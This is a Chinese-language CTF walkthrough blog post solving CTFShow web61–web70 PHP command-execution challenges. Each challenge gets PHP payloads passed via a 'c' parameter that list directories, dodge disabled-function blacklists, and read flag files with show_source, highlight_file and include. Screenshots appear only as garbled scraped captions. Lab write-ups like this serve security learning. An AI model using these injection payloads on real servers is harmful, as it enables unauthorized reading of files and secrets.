大家好,这里是KOKO师傅~
今天和大家一起来继续做CTFShow关于命令执行的题目!

web61

我们先看题目:

ceemmc 命令 ctmfw命令_web安全


可能是有需要用到的函数被禁用了!打开环境后可以看到代码:

ceemmc 命令 ctmfw命令_ceemmc 命令_02


我们给c传参查看一下禁用的函数目录:

c=print_r(scandir('.'));#查看当前目录
 c=print_r(scandir('/'));#查看根目录
 c=print_r(glob('*'));#查看当前目录
 c=print_r(glob('/*'));#查看根目录

 c=var_dump(scandir('.'));#查看当前目录
 c=var_dump(scandir('/'));#查看根目录
 c=var_dump(glob('*'));#查看当前目录
 c=var_dump(glob('/*'));#查看根目录

c=var_export(scandir('.'));#查看当前目录
c=var_export(scandir('/'));#查看根目录
c=var_export(glob('*'));#查看当前目录
c=var_exportdump(glob('/*'));#查看根目录

#查看当前目录
c=print_r(scandir(current(localeconv())));
c=print_r(scandir(pos(localeconv())));#pos是current的别名,localeconv()返回的数组中第一个值为'.'

c=highlight_file(next(array_reverse(scandir(current(localeconv())))));#读取数组倒数第二个元素

?c=show_source(current(array_reverse(scandir(getcwd()))));#flag在最后一个文件

ceemmc 命令 ctmfw命令_根目录_03


因此我们可以构造payload:

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');

传参后即可得到flag:

ceemmc 命令 ctmfw命令_php_04

web62

ceemmc 命令 ctmfw命令_web安全_05


我们看到题目可以知道又是有关禁用函数的题目:

ceemmc 命令 ctmfw命令_web安全_06


我们可以沿用之前的payload:

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');

传参后得到flag:

ceemmc 命令 ctmfw命令_ceemmc 命令_07

web63

ceemmc 命令 ctmfw命令_安全_08


同样是禁用函数的题目:

ceemmc 命令 ctmfw命令_根目录_09


我们依旧可以沿用之前的payload:

c=include('flag.php');echo $flag;
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');

传参后得到flag:

ceemmc 命令 ctmfw命令_安全_10

web64

ceemmc 命令 ctmfw命令_php_11

我们打开环境可以看到源码:

ceemmc 命令 ctmfw命令_ceemmc 命令_12


之前构造的payload依然是可以用的:

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');
c=include('flag.php');var_dump(get_defined_vars());

传参后即可得到flag:

ceemmc 命令 ctmfw命令_web安全_13

web65

ceemmc 命令 ctmfw命令_ceemmc 命令_14


依旧是禁用函数的题目~

ceemmc 命令 ctmfw命令_根目录_15


之前构造的payload依旧是成功的:

c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');
c=include('flag.php');var_dump(get_defined_vars());

传参得到flag:

ceemmc 命令 ctmfw命令_php_16

web66

ceemmc 命令 ctmfw命令_根目录_17


这次看看禁用的范围会不会扩大:

ceemmc 命令 ctmfw命令_安全_18


这次发现之前的payload不能用了,而且一直用的show_source()也被禁了:

ceemmc 命令 ctmfw命令_ceemmc 命令_19


因此我们用之前的读取目录语句发现在根目录里:

ceemmc 命令 ctmfw命令_php_20


因此我们构造payload:

c=highlight_file('/flag.txt');
#highlight_file()函数是PHP中的一个内置函数,用于突出显示文件的语法。通过使用HTML标记突出显示语法。
#用法:
#highlight_file( $filename, $return )
#参数:该函数接受上述和以下描述的两个参数:
#$filename:它是必填参数。它指定要显示其内容的文件。
#$return:它是可选的布尔值参数。其默认值为FALSE。如果将其设置为TRUE,则该函数将以字符串形式返回突出显示的代码,而不是将其打印出来。
#返回值:成功返回TRUE,失败返回FALSE。如果$return设置为TRUE,它将以字符串形式返回突出显示的代码。
#注意:
#此功能在PHP 4.0.0和更高版本上可用。
#可以通过ini_set()函数或在php.ini文件中设置用于突出显示PHP语法的颜色。
#使用此功能,将显示整个文件,其中可能包含敏感数据,例如密码等。

传参后可得flag:

ceemmc 命令 ctmfw命令_安全_21

web67

ceemmc 命令 ctmfw命令_安全_22


我们打开环境,这次看看会有什么区别没~

ceemmc 命令 ctmfw命令_根目录_23


发现是可以沿用上题的payload的:

c=highlight_file('/flag.txt');

传参后即可得到flag:

ceemmc 命令 ctmfw命令_ceemmc 命令_24

web68

ceemmc 命令 ctmfw命令_根目录_25


这次的禁用函数题我们继续试试之前的payload是否可行:

ceemmc 命令 ctmfw命令_ceemmc 命令_26


这次打开就是直接表明highlight_file()被禁用了!

那我们查看根目录:

ceemmc 命令 ctmfw命令_ceemmc 命令_27


查看根目录可以发现flag还是在根目录下,但是highlight_file()被禁用了,那我们试试用include()函数构造payload:

c=include('/flag.txt');

传参得到flag:

ceemmc 命令 ctmfw命令_安全_28

web69

ceemmc 命令 ctmfw命令_web安全_29


这次看看是否和web68一样:

ceemmc 命令 ctmfw命令_根目录_30


我们试试之前的payload:

c=include('/flag.txt');

传参得到flag:

ceemmc 命令 ctmfw命令_根目录_31

web70

ceemmc 命令 ctmfw命令_安全_32


我们打开环境看看会不会有不同的:

ceemmc 命令 ctmfw命令_ceemmc 命令_33


让我们试试之前用来构造payload的函数会不会被禁用:

c=include('/flag.txt');

传参得到flag,说明没有被禁用:

ceemmc 命令 ctmfw命令_安全_34